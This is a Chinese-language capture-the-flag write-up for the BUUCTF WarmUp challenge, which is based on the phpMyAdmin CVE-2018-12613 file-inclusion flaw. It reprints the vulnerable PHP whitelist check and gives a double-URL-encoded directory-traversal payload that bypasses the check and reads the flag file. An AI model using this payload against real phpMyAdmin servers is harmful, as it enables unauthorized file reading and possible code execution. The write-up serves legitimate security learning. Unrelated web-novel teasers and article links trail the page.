BUUCTF WarmUp CVE-2018-12613

source.php

 <?php
    highlight_file(__FILE__);
    class emmm //waf
    {
        public static function checkFile(&$page)
//<?php $a =& $b ?> 這意味著 $a 和 $b 指向了同一個(gè)變量。 注: $a 和 $b 在這里是完全相同的闺金,這并不是 $a 指向了 $b 或者相反,而是 $a 和 $b 指向了同一個(gè)地方。 
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {//in_array() 函數(shù)搜索數(shù)組中是否存在指定的值。從后查找前轧叽。
                return true;
            }

            $_page = mb_substr(//echo mb_substr("菜鳥(niǎo)教程", 0, 2); 輸出:菜鳥(niǎo)
                $page,
                0,
                mb_strpos($page . '?', '?')//查找字符串在另一個(gè)字符串中首次出現(xiàn)的位置
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])//PHP $_REQUEST 用于收集HTML表單提交的數(shù)據(jù)。$_REQUEST 變量包含了 $_GET, $_POST 以及 $_COOKIE 的內(nèi)容
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])//可以不用實(shí)例化對(duì)象直接使用emmm::checkFile($_REQUEST['file'])獲得checkFile($_REQUEST['file'])的值
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

這里參考文章分析一波.

漏洞原理

一個(gè)攻擊者可以在服務(wù)器上包含(查看和潛在執(zhí)行)文件的漏洞被發(fā)現(xiàn)惠毁。該漏洞來(lái)自一部分代碼犹芹,其中頁(yè)面在phpMyAdmin中被重定向和加載,以及對(duì)白名單頁(yè)面進(jìn)行不正確的測(cè)試鞠绰。攻擊者必須經(jīng)過(guò)身份驗(yàn)證腰埂,但在這些情況下除外:
cfg ['AllowArbitraryServer'] = true:攻擊者可以指定他/她已經(jīng)控制的任何主機(jī),并在phpMyAdmin上執(zhí)行任意代碼(可以進(jìn)行遠(yuǎn)程訪問(wèn)) cfg ['ServerDefault'] = 0:這會(huì)繞過(guò)登錄并在沒(méi)有任何身份驗(yàn)證的情況下運(yùn)行易受攻擊的代碼蜈膨。如果有多臺(tái)已配置的服務(wù)器屿笼,你可以配置cfg['ServerDefault'] 為其中之一,phpmyadmin會(huì)自動(dòng)連接翁巍,如果配置為0驴一,將會(huì)顯示一個(gè)沒(méi)有登錄的服務(wù)器列表。如果你只有一個(gè)服務(wù)器設(shè)置灶壶,cfg['ServerDefault'] 必須配置為那臺(tái)服務(wù)器肝断。

漏洞形成的原因

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

if區(qū)間一共有4個(gè)判斷:

1、是否存在file參數(shù)
2驰凛、file參數(shù)是否為字符串
3胸懈、emmm類的checkFile方法判斷
如果通過(guò)判斷則包含參數(shù)所指定的文件

首先找到Core類的checkFile函數(shù):

class emmm //waf
    {
        public static function checkFile(&$page)
//<?php $a =& $b ?> 這意味著 $a 和 $b 指向了同一個(gè)變量。 注: $a 和 $b 在這里是完全相同的恰响,這并不是 $a 指向了 $b 或者相反趣钱,而是 $a 和 $b 指向了同一個(gè)地方。 
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {//in_array() 函數(shù)搜索數(shù)組中是否存在指定的值胚宦。從后查找前首有。
                return true;
            }

            $_page = mb_substr(//echo mb_substr("菜鳥(niǎo)教程", 0, 2); 輸出:菜鳥(niǎo)
                $page,
                0,
                mb_strpos($page . '?', '?')//查找字符串在另一個(gè)字符串中首次出現(xiàn)的位置
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

checkPageValidity函數(shù)里又是4個(gè)判斷:

1、如果page沒(méi)有被定義過(guò)或者page不為字符串則return false

2枢劝、page存在whitelist中的某個(gè)值則返回true

3井联、_page存在whitelist中的某個(gè)值則返回true

4、經(jīng)過(guò)urldecode函數(shù)解碼后的_page存在whitelist中的某個(gè)值則返回true
我們來(lái)逐行分析:
$whitelist定義了兩個(gè)可以被包含的文件名

if (in_array($page, $whitelist)) {//in_array() 函數(shù)搜索數(shù)組中是否存在指定的值您旁。從后查找前烙常。
                return true;
            }

第二個(gè)if直接跳過(guò)我們來(lái)看第三個(gè)if區(qū)間,如果page如果等于whilelist的某個(gè)值則return真。
phpmyadmin的開(kāi)發(fā)團(tuán)隊(duì)考慮的很全面被冒,想到了會(huì)存在file的值后面再跟參數(shù)的情況军掂,于是有了第三個(gè)判斷:

 $_page = mb_substr(//echo mb_substr("菜鳥(niǎo)教程", 0, 2); 輸出:菜鳥(niǎo)
                $page,
                0,
                mb_strpos($page . '?', '?')//查找字符串在另一個(gè)字符串中首次出現(xiàn)的位置
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

_page為以?分割然后取出前面的字符串再判斷值是否存在與whilelist某個(gè)數(shù)組中。

這個(gè)判斷的作用是昨悼,如果file值帶有參數(shù)的情況下蝗锥,phpmyadmin也能正確的包含文件。
也正是因?yàn)閜hpmyadmin團(tuán)隊(duì)考慮的太全面了率触,才會(huì)出現(xiàn)此漏洞......

$_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }

后面又將$page參數(shù)用urlencode解碼再進(jìn)行以?分割取出前面的值做判斷终议。

我們構(gòu)造payload:
file=source.php?/../../../../../../ffffllllaaaagggg,目錄穿越葱蝗,當(dāng)然還要把?進(jìn)行兩次url編碼穴张,所以最后的payload為file=source.php%253f/../../../../../../ffffllllaaaagggg,首先两曼,第一次驗(yàn)證肯定過(guò)不了皂甘,第二次截取完也過(guò)不了,第三次悼凑,經(jīng)過(guò)url解碼之后偿枕,我們構(gòu)造的payload就變成了source.php?/../../../../../../ffffllllaaaagggg,很顯然户辫,它是截取?前面的進(jìn)行校驗(yàn)渐夸,我們這的source.php在白名單中,所以返回true渔欢,最后通過(guò)目錄穿越的到ffffllllaaaagggg里面的內(nèi)容墓塌,也就是flag。

參考:
https://blog.csdn.net/qq_42967398/article/details/91127332

https://blog.csdn.net/qq_37433000/article/details/91126718

http://www.reibang.com/p/0d75017c154f

https://www.cnblogs.com/leixiao-/p/10265150.html

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末奥额,一起剝皮案震驚了整個(gè)濱河市苫幢,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌披坏,老刑警劉巖态坦,帶你破解...
    沈念sama閱讀 206,126評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異棒拂,居然都是意外死亡伞梯,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,254評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門(mén)帚屉,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)谜诫,“玉大人,你說(shuō)我怎么就攤上這事攻旦∮骺酰” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 152,445評(píng)論 0 341
  • 文/不壞的土叔 我叫張陵牢屋,是天一觀的道長(zhǎng)且预。 經(jīng)常有香客問(wèn)我槽袄,道長(zhǎng),這世上最難降的妖魔是什么锋谐? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 55,185評(píng)論 1 278
  • 正文 為了忘掉前任遍尺,我火速辦了婚禮,結(jié)果婚禮上涮拗,老公的妹妹穿的比我還像新娘乾戏。我一直安慰自己,他們只是感情好三热,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,178評(píng)論 5 371
  • 文/花漫 我一把揭開(kāi)白布鼓择。 她就那樣靜靜地躺著,像睡著了一般就漾。 火紅的嫁衣襯著肌膚如雪呐能。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 48,970評(píng)論 1 284
  • 那天抑堡,我揣著相機(jī)與錄音催跪,去河邊找鬼。 笑死夷野,一個(gè)胖子當(dāng)著我的面吹牛懊蒸,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播悯搔,決...
    沈念sama閱讀 38,276評(píng)論 3 399
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼骑丸,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了妒貌?” 一聲冷哼從身側(cè)響起通危,我...
    開(kāi)封第一講書(shū)人閱讀 36,927評(píng)論 0 259
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎灌曙,沒(méi)想到半個(gè)月后菊碟,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 43,400評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡在刺,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,883評(píng)論 2 323
  • 正文 我和宋清朗相戀三年逆害,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片蚣驼。...
    茶點(diǎn)故事閱讀 37,997評(píng)論 1 333
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡魄幕,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出颖杏,到底是詐尸還是另有隱情纯陨,我是刑警寧澤,帶...
    沈念sama閱讀 33,646評(píng)論 4 322
  • 正文 年R本政府宣布,位于F島的核電站翼抠,受9級(jí)特大地震影響咙轩,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜阴颖,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,213評(píng)論 3 307
  • 文/蒙蒙 一臭墨、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧膘盖,春花似錦、人聲如沸尤误。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,204評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)损晤。三九已至软棺,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間尤勋,已是汗流浹背喘落。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 31,423評(píng)論 1 260
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留最冰,地道東北人瘦棋。 一個(gè)月前我還...
    沈念sama閱讀 45,423評(píng)論 2 352
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像暖哨,于是被迫代替她去往敵國(guó)和親赌朋。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,722評(píng)論 2 345

推薦閱讀更多精彩內(nèi)容

  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 當(dāng)給sq...
    xuningbo閱讀 10,256評(píng)論 2 22
  • sqlmap用戶手冊(cè) 說(shuō)明:本文為轉(zhuǎn)載篇裁,對(duì)原文中一些明顯的拼寫(xiě)錯(cuò)誤進(jìn)行修正沛慢,并標(biāo)注對(duì)自己有用的信息。 ======...
    wind_飄閱讀 2,033評(píng)論 0 5
  • ¥開(kāi)啟¥ 【iAPP實(shí)現(xiàn)進(jìn)入界面執(zhí)行逐一顯】 〖2017-08-25 15:22:14〗 《//首先開(kāi)一個(gè)線程达布,因...
    小菜c閱讀 6,358評(píng)論 0 17
  • 一团甲、Python簡(jiǎn)介和環(huán)境搭建以及pip的安裝 4課時(shí)實(shí)驗(yàn)課主要內(nèi)容 【Python簡(jiǎn)介】: Python 是一個(gè)...
    _小老虎_閱讀 5,720評(píng)論 0 10
  • pyspark.sql模塊 模塊上下文 Spark SQL和DataFrames的重要類: pyspark.sql...
    mpro閱讀 9,446評(píng)論 0 13